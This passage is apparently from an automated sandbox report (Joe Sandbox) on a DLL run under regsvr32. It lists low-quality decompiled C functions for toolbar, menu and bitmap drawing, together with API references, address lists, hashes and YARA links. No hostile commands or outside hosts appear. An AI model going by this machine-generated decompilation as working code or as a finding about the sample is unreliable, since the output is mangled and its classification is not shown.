													_t531 = _v584 + 0xffffffe8;
													asm("lock xadd [edx+0x10], eax");
													__eflags = _t391 + _t391;
													if(_t391 + _t391 <= 0) {
														 *((intOrPtr*)( *((intOrPtr*)( *_t531)) + 8))();
													}
													_v456 = 0x10057ca8;
													E1000FAF0(0x10057ca8,  &_v456);
													_v472 = 0x10099550;
													E1002A190(0x10099550,  &_v472);
													_t533 = _v608 + 0xffffffe8;
													asm("lock xadd [edx+0x10], ecx");
													__eflags = _t391 + _t391;
													if(_t391 + _t391 <= 0) {
														 *((intOrPtr*)( *((intOrPtr*)( *_t533)) + 8))();
													}
													_t234 = 1;
												}
											}
										}
									}
								}
							} else {
								_t387 = E10021CD0(_t339, _a16, _t388, _t391, _t405, _t405, _a24, _a32, _t575);
								_t23 = _t425 - 0x18; // 0x0
								_t543 = _t23;
								asm("lock xadd [edx+0x10], ecx");
								if(_t391 + _t391 <= 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *_t543)) + 8))();
								}
								_t234 = _t387;
							}
						}
					}
				}
				return _t234;
			}

0x10021cd0
0x10021cd0
0x10021cd0
0x10021cd0
0x10021cd0
0x10021cd0
0x10021cd0
0x10021cd0
0x10021cd0
0x10021cd5
0x10021cda
0x10021cde
0x10021cee
0x10021cfa
0x10021cfd
0x10021d02
0x10021d05
0x10021d0b
0x10021d12
0x10021d19
0x10021d1e
0x10021d1e
0x10021d1f
0x10021d22
0x10021d25
0x10021d25
0x10021d29
0x10021d35
0x10021d3b
0x10021d3b
0x10021d43
0x10021d4d
0x10021d4f
0x10021d56
0x10021d5b
0x10021d5b
0x10021d60
0x10021d63
0x10021d66
0x10021d69
0x10021d72
0x10021d78
0x10021d7b
0x10021d80
0x10021d82
0x00000000
0x00000000
0x00000000
0x00000000
0x10021d74
0x10021d74
0x10021d88
0x10021d8b
0x10022730
0x10022735
0x10021d91
0x10021d91
0x10021d96
0x10021d9d
0x10021da2
0x10021dc2
0x10022712
0x10022712
0x10022712
0x10022718
0x1002271f
0x10022721
0x10022729
0x10022729
0x1002272c
0x10021de8
0x10021deb
0x10021df3
0x10021e50
0x10021e55
0x10021e60
0x10021e62
0x10021e69
0x10021e6e
0x10021e6e
0x10021e6f
0x10021e72
0x10021e75
0x10021e78
0x10021e78
0x10021e7c
0x10021e81
0x10021e86
0x10021e91
0x10021e93
0x10021e9a
0x10021e9f
0x10021e9f
0x10021ea0
0x10021ea6
0x10021ead
0x10021eba
0x10021ed0
0x10021ed6
0x10021ee1
0x10021eec
0x10021ef7
0x10021f0a
0x10021f1f
0x10021f25
0x10021f2d
0x10021f31
0x10021f42
0x10021f4f
0x10021f55
0x10021f55
0x10021f58
0x10021f61
0x10021f69
0x10021f6b
0x10021f72
0x10021f77
0x10021f7c
0x10021f7c
0x10021f80
0x10021f83
0x10021f86
0x10021f8e
0x10021f94
0x10021f97
0x10021f9d
0x10021fa0
0x10021fa5
0x10021fa7
0x00000000
0x00000000
0x00000000
0x00000000
0x10021f99
0x10021f99
0x10021fad
0x10021fad
0x10021fb0
0x10022707
0x1002270c
0x00000000
0x10021fb6
0x10021fb6
0x10021fbb
0x10021fc7
0x10021fcc
0x10021fd1
0x10021fe0
0x10021fe2
0x10021fe5
0x10021fe7
0x1002266b
0x10022673
0x10022681
0x1002268c
0x10022692
0x10022699
0x1002269b
0x100226a3
0x100226a3
0x100226ac
0x100226b2
0x100226b9
0x100226bb
0x100226c3
0x100226c3
0x100226ce
0x100226de
0x100226eb
0x100226fb
0x10022700
0x00000000
0x10021fed
0x10021fed
0x10021ff2
0x10021ff5
0x00000000
0x10021ffb
0x10021ffb
0x1002200a
0x1002200c
0x00000000
0x10022012
0x1002201a
0x1002201e
0x10022028
0x1002203a
0x1002204a
0x1002204f
0x10022052
0x10022052
0x1002205e
0x10022067
0x1002206f
0x10022071
0x10022076
0x10022076
0x1002207c
0x1002208d
0x10022093
0x1002209b
0x100220ab
0x100220b1
0x100220b3
0x00000000
0x00000000
0x100220b5
0x100220b7
0x00000000
0x00000000
0x00000000
0x100220b7
0x100220b9
0x100220bf
0x100220bf
0x100220cb
0x100220d0
0x100220db
0x100220de
0x100220ea
0x100220f3
0x100220f8
0x10022105
0x10022111
0x10022121
0x10022129
0x1002212e
0x1002213f
0x1002214c
0x1002215d
0x10022162
0x1002216f
0x10022177
0x1002217e
0x10022184
0x10022184
0x10022189
0x1002218e
0x10022193
0x1002219f
0x100221a4
0x100221a9
0x00000000
0x00000000
0x100221af
0x100221ba
0x100221c0
0x100221c5
0x100221c8
0x100221ca
0x100221d5
0x100221da
0x100221da
0x100221df
0x100221e2
0x100221e8
0x100221f0
0x100221fa
0x100221ff
0x10022202
0x10022218
0x10022204
0x10022204
0x10022213
0x10022213
0x10022229
0x1002223a
0x10022246
0x1002224e
0x10022259
0x1002226e
0x10022274
0x1002227c
0x10022288
0x1002228f
0x1002229f
0x100222ab
0x100222b1
0x100222b4
0x100224e3
0x100224e3
0x100224e8
0x100222ba
0x100222ba
0x100222c2
0x00000000
0x100222c8
0x100222c8
0x100222d4
0x100222dc
0x100222eb
0x100222f7
0x100222fc
0x10022304
0x100224dd
0x100224dd
0x100224e2
0x00000000
0x1002230a
0x1002230a
0x10022312
0x10022316
0x10022319
0x1002231b
0x1002231b
0x1002232b
0x10022330
0x10022338
0x100224d7
0x100224d7
0x100224dc
0x00000000
0x1002233e
0x10022346
0x10022355
0x10022368
0x1002236d
0x10022381
0x10022385
0x10022391
0x10022399
0x1002239d
0x100223ad
0x100223b8
0x100223bd
0x100223c5
0x100223cd
0x100224d1
0x100224d1
0x100224d6
0x00000000
0x100223d3
0x100223d3
0x100223db
0x100223df
0x100223e2
0x100223e2
0x100223f4
0x100223f9
0x10022401
0x100224cb
0x100224cb
0x100224d0
0x00000000
0x10022407
0x1002240f
0x10022413
0x10022418
0x10022424
0x1002242b
0x10022436
0x1002243e
0x100224c5
0x100224ca
0x00000000
0x10022444
0x10022444
0x1002244c
0x10022450
0x10022458
0x10022460
0x10022464
0x1002246c
0x10022492
0x1002249a
0x100224aa
0x100224b0
0x100224b0
0x100224b3
0x100224b7
0x100224be
0x00000000
0x100224c0
0x100224be
0x1002243e
0x10022401
0x100223cd
0x10022338
0x10022304
0x100222c2
0x00000000
0x10022472
0x10022472
0x1002247a
0x1002247c
0x10022487
0x00000000
0x10022487
0x00000000
0x1002247a
0x10022184
0x100224e9
0x100224f9
0x100224ff
0x10022507
0x10022512
0x10022517
0x10022520
0x10022525
0x1002252d
0x1002253f
0x1002254c
0x10022553
0x10022557
0x1002255e
0x10022560
0x10022562
0x10022562
0x10022565
0x00000000
0x00000000
0x10022567
0x1002256f
0x00000000
0x10022571
0x10022579
0x1002257d
0x10022580
0x1002258a
0x1002258a
0x1002258d
0x10022590
0x10022594
0x10022596
0x00000000
0x00000000
0x10022598
0x10022596
0x00000000
0x1002256f
0x1002259a
0x1002259a
0x100225a0
0x100225a5
0x100225b3
0x100225c1
0x100225cc
0x100225d2
0x100225d9
0x100225db
0x100225e3
0x100225e3
0x100225ec
0x100225f2
0x100225f9
0x100225fb
0x10022603
0x10022603
0x1002260e
0x1002261e
0x1002262b
0x1002263b
0x10022646
0x1002264c
0x10022653
0x10022655
0x1002265d
0x1002265d
0x10022661
0x10022661
0x1002200c
0x10021ff5
0x10021fe7
0x10021fb0
0x10021dff
0x10021e1e
0x10021e20
0x10021e20
0x10021e26
0x10021e2f
0x10021e37
0x10021e37
0x10021e3b
0x10021e3b
0x10021df3
0x10021dc2
0x10021d8b
0x10022746

APIs

lstrlenA.KERNEL32 ref: 10021D35
GetClassNameA.USER32 ref: 10021D69

Part of subcall function 1002A1B4: SystemParametersInfoA.USER32(?,?,?,?,?,?,?,?,00000001,00000018,10021E4F), ref: 1002A21B
Part of subcall function 1002A1B4: CreateFontIndirectA.GDI32 ref: 1002A229

SendMessageA.USER32 ref: 10021F1F
SendMessageA.USER32 ref: 10021F42
lstrlenA.KERNEL32 ref: 10021F4F
GetClassNameA.USER32 ref: 10021F8E
SendMessageA.USER32 ref: 1002205E
SendMessageA.USER32 ref: 1002208D
IntersectRect.USER32 ref: 100220AB
SendMessageA.USER32 ref: 100220EA
CreatePopupMenu.USER32 ref: 1002212E
CreateCompatibleDC.GDI32 ref: 1002214C
CopyRect.USER32 ref: 1002226E
OffsetRect.USER32 ref: 100222AB
CreateCompatibleBitmap.GDI32 ref: 100222EB
GetSysColor.USER32 ref: 1002234F
InsertMenuItemA.USER32 ref: 100224AA
CopyRect.USER32 ref: 100224F9

Part of subcall function 1000F418: ClientToScreen.USER32 ref: 1000F42A
Part of subcall function 1000F418: ClientToScreen.USER32 ref: 1000F438

Part of subcall function 1001277C: TrackPopupMenu.USER32 ref: 100127F7

Strings

ReBarWindow32, xrefs: 10021D2E, 10021DA5
p, xrefs: 10021EEC
ToolbarWindow32, xrefs: 10021F48, 10021FD1
P, xrefs: 100220D0

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: MessageSend$CreateRect$Menu$ClassClientCompatibleCopyNamePopupScreenlstrlen$BitmapColorFontIndirectInfoInsertIntersectItemOffsetParametersSystemTrack
String ID: P$ReBarWindow32$ToolbarWindow32$p
API String ID: 1199085716-275779206
Opcode ID: 8354da78a2f6736397d226070764346877b08c7bbf99d43f412d326623550982
Instruction ID: 504c04472c42e0e75a9f4e26509cead74d869853c9bf107fb6214f2ba7618a42
Opcode Fuzzy Hash: 8354da78a2f6736397d226070764346877b08c7bbf99d43f412d326623550982
Instruction Fuzzy Hash: D7427E36205A8192DB21DF65F8543DEB3A0FBC8B94F808126DB9D47B69DF78D985CB00

Uniqueness

Uniqueness Score: -1.00%

Function 100102D4 Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 290
windowCOMMONCrypto

Download Yara Rule

C-Code - Quality: 34%

			E100102D4(void* __ebx, void* __rcx, void* __rdx, void* __r8) {
				void* _t134;
				void* _t159;
				void* _t173;
				void* _t174;
				signed int _t216;
				void* _t301;
				long long _t302;
				long long _t303;
				void* _t304;
				void* _t305;
				void* _t310;

				_t184 = __ebx;
				_t310 = _t304;
				_t305 = _t304 - 0x118;
				 *((long long*)(_t305 + 0x100)) = 0xfffffffe;
				r14d = r9d;
				r15d = r8d;
				_t301 = __rdx;
				 *((long long*)(_t310 - 0x98)) = 0x10096918;
				 *((long long*)(_t310 - 0x90)) = _t302;
				 *((long long*)(_t310 - 0x88)) = _t302;
				 *((intOrPtr*)(_t310 - 0x80)) = 0;
				 *((long long*)(_t310 - 0x48)) = 0x10096918;
				 *((long long*)(_t310 - 0x40)) = _t302;
				 *((long long*)(_t310 - 0x38)) = _t302;
				 *((intOrPtr*)(_t310 - 0x30)) = 0;
				 *((long long*)(_t310 - 0x78)) = 0x10096918;
				 *((long long*)(_t310 - 0x70)) = _t302;
				 *((long long*)(_t310 - 0x68)) = _t302;
				 *((intOrPtr*)(_t310 - 0x60)) = 0;
				 *((long long*)(_t305 + 0x58)) = _t302;
				 *((long long*)(_t305 + 0x50)) = 0x10057ce8;
				 *((long long*)(_t310 - 0x50)) = _t302;
				_t229 = 0x10096e50;
				 *((long long*)(_t310 - 0x58)) = 0x10096e50;
				CreateCompatibleDC(??);
				if(E1000F628(__ebx, 0x10096e50, _t305 + 0x80, 0x10096e50, __r8, _t310) == 0) {
					L14:
					 *((long long*)(_t305 + 0xc0)) = 0x10057ca8;
					E1000FAF0(_t229, _t305 + 0xc0);
					 *((long long*)(_t305 + 0x50)) = 0x10057ca8;
					E1000FAF0(_t229, _t305 + 0x50);
					E1000F6C0(_t305 + 0xa0);
					E1000F6C0(_t305 + 0xd0);
					_t134 = E1000F6C0(_t305 + 0x80);
				} else {
					CreateCompatibleDC();
					if(E1000F628(__ebx, 0x10096e50, _t305 + 0xd0, 0x10096e50, __r8, _t310) == 0) {
						goto L14;
					} else {
						CreateCompatibleDC();
						if(E1000F628(__ebx, 0x10096e50, _t305 + 0xa0, 0x10096e50, __r8, _t310) == 0 || GetObjectA() == 0) {
							goto L14;
						} else {
							E1000FAF0(0x10096e50, _t301);
							r9d =  *(_t305 + 0x72) & 0x0000ffff;
							r8d =  *(_t305 + 0x70) & 0x0000ffff;
							 *((long long*)(_t305 + 0x20)) = _t302;
							CreateBitmap(??, ??, ??, ??, ??);
							if(E1000FA74(__ebx, 0x10096e50, _t301, 0x10096e50, _t310) == 0) {
								goto L14;
							} else {
								 *((long long*)(_t305 + 0x20)) = 0x10096ee0;
								_t30 = _t302 + 1; // 0x1
								_t216 = _t30;
								r9d = _t216;
								r8d = _t216;
								CreateBitmap(??, ??, ??, ??, ??);
								E1000FA74(__ebx, 0x10096ee0, _t305 + 0x50, 0x10096ee0, _t310);
								CreatePatternBrush(??);
								E1000FA74(_t184, 0x10096ee0, _t305 + 0xc0, 0x10096ee0, _t310);
								E1000FAF0(0x10096ee0, _t305 + 0x50);
								 *((long long*)(_t305 + 0x20)) = _t302;
								r9d = _t216;
								r8d = _t216;
								CreateBitmap(??, ??, ??, ??, ??);
								E1000FA74(_t184, 0x10096ee0, _t305 + 0x50, 0x10096ee0, _t310);
								SelectObject(??, ??);
								E1000FA50(0x10096ee0, 0x10096ee0);
								SelectObject(??, ??);
								E1000FA50(0x10096ee0, 0x10096ee0);
								if(0x10096ee0 == _t302 || 0x10096ee0 == _t302) {
									 *((long long*)(_t305 + 0xc0)) = 0x10057ca8;
									E1000FAF0(0x10096ee0, _t305 + 0xc0);
									 *((long long*)(_t305 + 0x50)) = 0x10057ca8;
									E1000FAF0(0x10096ee0, _t305 + 0x50);
									E1000F6C0(_t305 + 0xa0);
									E1000F6C0(_t305 + 0xd0);
									_t134 = E1000F6C0(_t305 + 0x80);
								} else {
									r8d = 0;
									_t159 = E1000ED34(GetPixel(??, ??, ??), _t305 + 0x80);
									 *((intOrPtr*)(_t305 + 0x40)) = 0xcc0020;
									 *((intOrPtr*)(_t305 + 0x38)) = 0;
									 *((intOrPtr*)(_t305 + 0x30)) = 0;
									 *((long long*)(_t305 + 0x28)) =  *((intOrPtr*)(_t305 + 0x88));
									 *((intOrPtr*)(_t305 + 0x20)) =  *((intOrPtr*)(_t305 + 0x68));
									r9d =  *(_t305 + 0x64);
									r8d = 0;
									BitBlt(??, ??, ??, ??, ??, ??, ??, ??, ??);
									E1000ED34(0xffffff, _t305 + 0x80);
									 *((intOrPtr*)(_t305 + 0x40)) = 0xee0086;
									 *((intOrPtr*)(_t305 + 0x38)) = 0;
									 *((intOrPtr*)(_t305 + 0x30)) = 0;
									_t229 =  *((intOrPtr*)(_t305 + 0x88));
									 *((long long*)(_t305 + 0x28)) = _t229;
									 *((intOrPtr*)(_t305 + 0x20)) =  *((intOrPtr*)(_t305 + 0x68));
									r9d =  *(_t305 + 0x64);
									r8d = 0;
									BitBlt(??, ??, ??, ??, ??, ??, ??, ??, ??);
									E1000ED34(_t159, _t305 + 0x80);
									if(_t301 != _t302) {
									}
									SelectObject();
									E1000FA50(_t229, _t229);
									_t303 = _t229;
									if(_t229 != _t302) {
										_t173 = E1000EDA8(r15d, _t305 + 0xa0);
										_t174 = E1000ED34(r14d, _t305 + 0xa0);
										 *((intOrPtr*)(_t305 + 0xf0)) = 0;
										 *((intOrPtr*)(_t305 + 0xf4)) = 0;
										 *(_t305 + 0xf8) =  *(_t305 + 0x64);
										 *((intOrPtr*)(_t305 + 0xfc)) =  *((intOrPtr*)(_t305 + 0x68));
										FillRect(??, ??, ??);
										E1000EDA8(_t173, _t305 + 0xa0);
										E1000ED34(_t174, _t305 + 0xa0);
										 *((intOrPtr*)(_t305 + 0x40)) = 0x660046;
										 *((intOrPtr*)(_t305 + 0x38)) = 0;
										 *((intOrPtr*)(_t305 + 0x30)) = 0;
										 *((long long*)(_t305 + 0x28)) =  *((intOrPtr*)(_t305 + 0x88));
										 *((intOrPtr*)(_t305 + 0x20)) =  *((intOrPtr*)(_t305 + 0x68));
										r9d =  *(_t305 + 0x64);
										r8d = 0;
										BitBlt(??, ??, ??, ??, ??, ??, ??, ??, ??);
										 *((intOrPtr*)(_t305 + 0x40)) = 0x8800c6;
										 *((intOrPtr*)(_t305 + 0x38)) = 0;
										 *((intOrPtr*)(_t305 + 0x30)) = 0;
										 *((long long*)(_t305 + 0x28)) =  *((intOrPtr*)(_t305 + 0xd8));
										 *((intOrPtr*)(_t305 + 0x20)) =  *((intOrPtr*)(_t305 + 0x68));
										r9d =  *(_t305 + 0x64);
										r8d = 0;
										BitBlt(??, ??, ??, ??, ??, ??, ??, ??, ??);
										 *((intOrPtr*)(_t305 + 0x40)) = 0x660046;
										 *((intOrPtr*)(_t305 + 0x38)) = 0;
										 *((intOrPtr*)(_t305 + 0x30)) = 0;
										_t229 =  *((intOrPtr*)(_t305 + 0x88));
										 *((long long*)(_t305 + 0x28)) =  *((intOrPtr*)(_t305 + 0x88));
										 *((intOrPtr*)(_t305 + 0x20)) =  *((intOrPtr*)(_t305 + 0x68));
										r9d =  *(_t305 + 0x64);
										r8d = 0;
										BitBlt(??, ??, ??, ??, ??, ??, ??, ??, ??);
										_t302 =  *((intOrPtr*)(_t303 + 8));
									}
									SelectObject();
									E1000FA50(_t229, _t229);
									SelectObject(??, ??);
									E1000FA50(_t229, _t229);
									SelectObject(??, ??);
									E1000FA50(_t229, _t229);
									goto L14;
								}
							}
						}
					}
				}
				return _t134;
			}

0x100102d4
0x100102e1
0x100102e4
0x100102eb
0x100102f7
0x100102fa
0x100102fd
0x1001030a
0x10010313
0x1001031a
0x10010321
0x10010325
0x10010329
0x1001032d
0x10010331
0x10010335
0x10010339
0x1001033d
0x10010341
0x10010345
0x10010351
0x10010356
0x1001035a
0x10010361
0x10010367
0x1001037f
0x100107b1
0x100107b8
0x100107c8
0x100107ce
0x100107d8
0x100107e6
0x100107f4
0x10010802
0x10010385
0x10010387
0x1001039f
0x00000000
0x100103a5
0x100103a7
0x100103bf
0x00000000
0x100103df
0x100103e2
0x100103e7
0x100103ed
0x100103f3
0x10010400
0x10010413
0x00000000
0x10010419
0x10010420
0x10010425
0x10010425
0x10010428
0x1001042b
0x10010433
0x10010441
0x1001044b
0x1001045c
0x10010466
0x1001046b
0x10010470
0x10010473
0x1001047e
0x1001048c
0x1001049d
0x100104a6
0x100104bb
0x100104c4
0x100104cf
0x10010760
0x10010770
0x10010776
0x10010780
0x1001078e
0x1001079c
0x100107aa
0x100104de
0x100104de
0x100104fb
0x10010502
0x1001050a
0x1001050e
0x1001051a
0x10010523
0x10010527
0x1001052c
0x10010539
0x1001054c
0x10010551
0x10010559
0x1001055d
0x10010561
0x10010569
0x10010572
0x10010576
0x1001057b
0x10010588
0x10010598
0x100105a0
0x100105a0
0x100105b3
0x100105bc
0x100105c1
0x100105c7
0x100105d8
0x100105ea
0x100105f1
0x100105f8
0x10010603
0x1001060e
0x1001062d
0x1001063d
0x1001064c
0x10010656
0x1001065a
0x1001065e
0x1001066a
0x10010673
0x10010677
0x1001067c
0x10010689
0x1001068f
0x10010697
0x1001069b
0x100106a7
0x100106b0
0x100106b4
0x100106b9
0x100106c6
0x100106cc
0x100106d0
0x100106d4
0x100106d8
0x100106e0
0x100106e9
0x100106ed
0x100106f2
0x100106ff
0x10010705
0x10010705
0x10010714
0x1001071d
0x1001072f
0x10010738
0x10010749
0x10010752
0x00000000
0x10010752
0x100104cf
0x10010413
0x100103bf
0x1001039f
0x1001081a

APIs

CreateCompatibleDC.GDI32 ref: 10010367
CreateCompatibleDC.GDI32 ref: 10010387
CreateCompatibleDC.GDI32 ref: 100103A7
GetObjectA.GDI32 ref: 100103D1
CreateBitmap.GDI32 ref: 10010400
CreateBitmap.GDI32 ref: 10010433
CreateBitmap.GDI32 ref: 1001047E
SelectObject.GDI32 ref: 1001049D
SelectObject.GDI32 ref: 100104BB
GetPixel.GDI32 ref: 100104EB

Part of subcall function 1000ED34: SetBkColor.GDI32 ref: 1000ED4F
Part of subcall function 1000ED34: SetBkColor.GDI32 ref: 1000ED60

BitBlt.GDI32 ref: 10010539
BitBlt.GDI32 ref: 10010588
SelectObject.GDI32 ref: 100105B3
FillRect.USER32 ref: 1001062D
BitBlt.GDI32 ref: 10010689
BitBlt.GDI32 ref: 100106C6
BitBlt.GDI32 ref: 100106FF
SelectObject.GDI32 ref: 10010714
SelectObject.GDI32 ref: 1001072F
SelectObject.GDI32 ref: 10010749
CreatePatternBrush.GDI32 ref: 1001044B

Part of subcall function 1000FAF0: DeleteObject.GDI32 ref: 1000FB07

Strings

, xrefs: 10010502

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Object$Create$Select$BitmapCompatible$Color$BrushDeleteFillPatternPixelRect
String ID:
API String ID: 2709215489-3916222277
Opcode ID: 7ec4313d749efbe52fc00203f00d814fe871b000360375daab6cd7c3c7b111b4
Instruction ID: c38b43c167dac60813797daaee1460dd5d34664b298ecb7dcdf75312cb062c1a
Opcode Fuzzy Hash: 7ec4313d749efbe52fc00203f00d814fe871b000360375daab6cd7c3c7b111b4
Instruction Fuzzy Hash: C6D10976219B9086D760DB15F85079EB3A0F7C9B90F50412AEACD87B68DF78D885CF40

Uniqueness

Uniqueness Score: -1.00%

Function 10025C50 Relevance: 30.1, APIs: 16, Strings: 1, Instructions: 326
windowkeyboardCOMMONCrypto

Download Yara Rule

C-Code - Quality: 61%

			E10025C50(long long __rax, intOrPtr* __rcx, intOrPtr* __rdx, void* __r9, char _a16, long long _a24, signed short _a28) {
				signed int _v148;
				char _v152;
				long long _v168;
				intOrPtr _v200;
				intOrPtr _v208;
				unsigned int _v248;
				intOrPtr _v264;
				intOrPtr _v272;
				intOrPtr _v280;
				long _t69;
				void* _t75;
				long _t76;
				int _t78;
				void* _t84;
				signed int _t92;
				intOrPtr _t100;
				void* _t107;
				void* _t121;
				signed int _t128;
				long long _t142;
				long long _t144;
				void* _t146;
				long long _t147;
				intOrPtr* _t181;
				long long _t188;
				intOrPtr* _t189;
				void* _t192;
				unsigned int* _t195;
				void* _t200;
				intOrPtr* _t201;
				char* _t202;
				void* _t205;
				unsigned long long _t208;
				intOrPtr* _t210;
				long long _t211;
				long long _t212;
				long long _t213;
				long long _t215;

				_t200 = __r9;
				_t181 = __rdx;
				_t148 = __rcx;
				_t142 = __rax;
				_v168 = 0xfffffffe;
				_t210 = __rdx;
				_t189 = __rcx;
				_t100 =  *((intOrPtr*)(__rdx + 8));
				_t128 = 1;
				r15d = 0;
				if(_t100 == 0x200 || _t100 == 0xa0 || _t100 == 0x202 || _t100 == 0x205 || _t100 == 0x208) {
					_t69 = GetKeyState();
					if(_t69 < r15w) {
						goto L54;
					}
					_t69 = GetKeyState();
					if(_t69 < r15w) {
						goto L54;
					}
					_t106 = 4;
					_t69 = GetKeyState(??);
					if(_t69 < r15w) {
						goto L54;
					}
					E1001A9E4(_t100, 4, _t107, _t121, _t142, _t148, _t181, _t192, _t200, _t205);
					_t188 = _t142;
					_t69 = E10014360(_t100, _t107, _t142,  *_t210, _t181, _t192, _t200, _t205);
					r12d = 0x401;
					if(_t142 == _t213) {
						L11:
						if(_t142 == _t189) {
							_t147 =  *((intOrPtr*)(_t188 + 0x78));
							_t152 = _t189;
							E10014774(_t142, _t189);
							_t211 = _t142;
							__eflags = _t147 - _t213;
							if(_t147 == _t213) {
								L21:
								_t106 = 0xe0;
								E1000E220(_t142, _t152);
								_a24 = _t142;
								__eflags = _t142 - _t213;
								if(_t142 == _t213) {
									_t147 = _t213;
								} else {
									E100256D4(_t142, _t142, _t181, _t192);
									_t147 = _t142;
								}
								r8d = _t128;
								_t181 = _t211;
								_t75 =  *((intOrPtr*)( *_t147 + 0x268))();
								__eflags = _t75 - r15d;
								if(_t75 != r15d) {
									r9d = 0;
									r8d = 0;
									__eflags = r8d;
									_t76 = SendMessageA(??, ??, ??, ??);
									 *((long long*)(_t188 + 0x78)) = _t147;
									L27:
									r14d = 0x48;
									_t20 =  &_v152; // 0x4a1
									E1002E410(_t76, _t106, 0, _t20, _t181, _t211);
									_a16 =  *((intOrPtr*)(_t210 + 0x24));
									_t23 =  &_a16; // 0x549
									_t78 = ScreenToClient(??, ??);
									_t25 =  &_v248; // 0x441
									E1002E410(_t78, _t106, 0, _t25, _t23, _t211);
									_v248 = 0x38;
									_t144 =  *_t189;
									_t195 =  &_v248;
									 *((intOrPtr*)(_t144 + 0xd8))();
									_t212 = _t144;
									__eflags = _t144 - 0xffffffff;
									_t69 = 0;
									_t215 =  ==  ? _t144 : _t189;
									__eflags =  *((intOrPtr*)(_t188 + 0x88)) - _t212;
									if( *((intOrPtr*)(_t188 + 0x88)) != _t212) {
										L33:
										__eflags = _t212 - 0xffffffff;
										if(_t212 == 0xffffffff) {
											r9d = 0;
											r8d = 0;
											SendMessageA(??, ??, ??, ??);
											L43:
											_t184 = _t210;
											E10025AB8(_t106, _t144, _t147, _t210);
											_t201 =  *((intOrPtr*)(_t188 + 0x90));
											__eflags = _t201 - _t189;
											if(_t201 != _t189) {
												__eflags =  *_t201 - 0x38;
												if( *_t201 >= 0x38) {
													r8d = 0;
													__eflags = r8d;
													SendMessageA(??, ??, ??, ??);
												}
											}
											 *((long long*)(_t188 + 0x80)) = _t215;
											 *((long long*)(_t188 + 0x88)) = _t212;
											__eflags =  *((intOrPtr*)(_t188 + 0x90)) - _t189;
											if( *((intOrPtr*)(_t188 + 0x90)) == _t189) {
												_t84 = E1000E220(_t144, _t147);
												 *((long long*)(_t188 + 0x90)) = _t144;
												E1002E410(_t84, _t106, 0, _t144, _t184, _t147);
											}
											_t69 = E10032E50(_t106,  *((intOrPtr*)(_t188 + 0x90)),  &_v248, _t147);
											L51:
											_t162 = _v200;
											__eflags = _v200 - 0xffffffff;
											if(_v200 == 0xffffffff) {
												goto L79;
											}
											__eflags = _v208 - _t189;
											if(_v208 != _t189) {
												goto L79;
											}
											return E1002E330(_t144, _t162);
										}
										_t36 =  &_v152; // 0x4a1
										r8d = 0x48;
										E10032E50(_t106, _t36,  &_v248, _t195);
										_t208 = _v248 >> 0x20;
										r11d = r11d & 0x3fffffff;
										__eflags = r11d;
										_v148 = r11d;
										asm("bt dword [esi+0x78], 0xa");
										if(r11d < 0) {
											r11d = r11d | 0x00000020;
											__eflags = r11d;
											_v148 = r11d;
										}
										_t41 =  &_v152; // 0x4a1
										_t202 = _t41;
										r8d = 0;
										__eflags = r8d;
										SendMessageA(??, ??, ??, ??);
										asm("bt dword [esp+0x44], 0x1e");
										if(__eflags < 0) {
											L38:
											r9d = 0;
											__eflags = r9d;
											SendMessageA(??, ??, ??, ??);
											asm("bt dword [esi+0x78], 0xa");
											if(r9d < 0) {
												SendMessageA();
											}
											_v264 = 0x213;
											_v272 = 0;
											_v280 = 0;
											r9d = 0;
											r8d = 0;
											SetWindowPos(??, ??, ??, ??, ??, ??, ??);
											goto L43;
										} else {
											_t92 = E10017950(_t100, _t106, 0x404, _t121, __eflags, _t144, _t189, _t195, _t202, _t208);
											__eflags = _t92;
											if(_t92 == 0) {
												__eflags = 0;
												goto L43;
											}
											goto L38;
										}
									}
									__eflags =  *((intOrPtr*)(_t188 + 0x80)) - _t215;
									if(__eflags != 0) {
										goto L33;
									}
									asm("bt dword [esi+0x78], 0xa");
									if(__eflags >= 0) {
										__eflags = _t212 - 0xffffffff;
										if(_t212 == 0xffffffff) {
											__eflags = 0;
										} else {
											_t69 = E10025AB8(_t106, _t144, _t147, _t210);
										}
									} else {
										GetCursorPos();
										r9d = _a28 & 0x0000ffff;
										r9d = r9d << 0x10;
										r8d = 0;
										_t69 = SendMessageA(??, ??, ??, ??);
									}
									goto L51;
								} else {
									return  *((intOrPtr*)( *_t147 + 8))();
								}
							}
							_t152 =  *((intOrPtr*)(_t147 + 0x70));
							__eflags =  *((intOrPtr*)(_t147 + 0x70)) - _t213;
							if( *((intOrPtr*)(_t147 + 0x70)) == _t213) {
								GetParent();
								_t152 = _t142;
								_t76 = E10014360(_t100, _t107, _t142, _t142, _t181, _t192, _t200, _t205);
							} else {
								_t76 = E10014360(_t100, _t107, _t142, _t152, _t181, _t192, _t200, _t205);
							}
							__eflags = _t142 - _t211;
							if(_t142 != _t211) {
								_t142 =  *_t147;
								 *((intOrPtr*)(_t142 + 0xc0))();
								_t152 = _t147;
								_t76 =  *((intOrPtr*)( *_t147 + 8))();
								 *((long long*)(_t188 + 0x78)) = _t213;
								_t147 = _t213;
							}
							__eflags = _t147 - _t213;
